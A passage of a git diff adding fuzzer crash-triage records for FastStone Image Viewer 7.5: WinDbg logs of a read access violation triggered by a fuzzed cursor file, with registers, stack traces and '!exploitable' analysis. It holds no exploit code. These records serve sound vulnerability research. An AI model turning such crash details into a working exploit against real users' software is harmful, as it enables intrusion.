+STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..72d42ca Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5962a07 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9c1be19 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x734: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x734: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(734.1dac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07ef7b10 edx=00003879 esi=12768f40 edi=0941efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.231657200000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.2499e-021 -1.91944e+037 4.48043e-024 1.44424e-029 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00376000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00376000 c093980b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00376000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9c1be19 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x734: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x734: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(734.1dac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07ef7b10 edx=00003879 esi=12768f40 edi=0941efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.231657200000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.2499e-021 -1.91944e+037 4.48043e-024 1.44424e-029 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00376000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00376000 c093980b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00376000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax 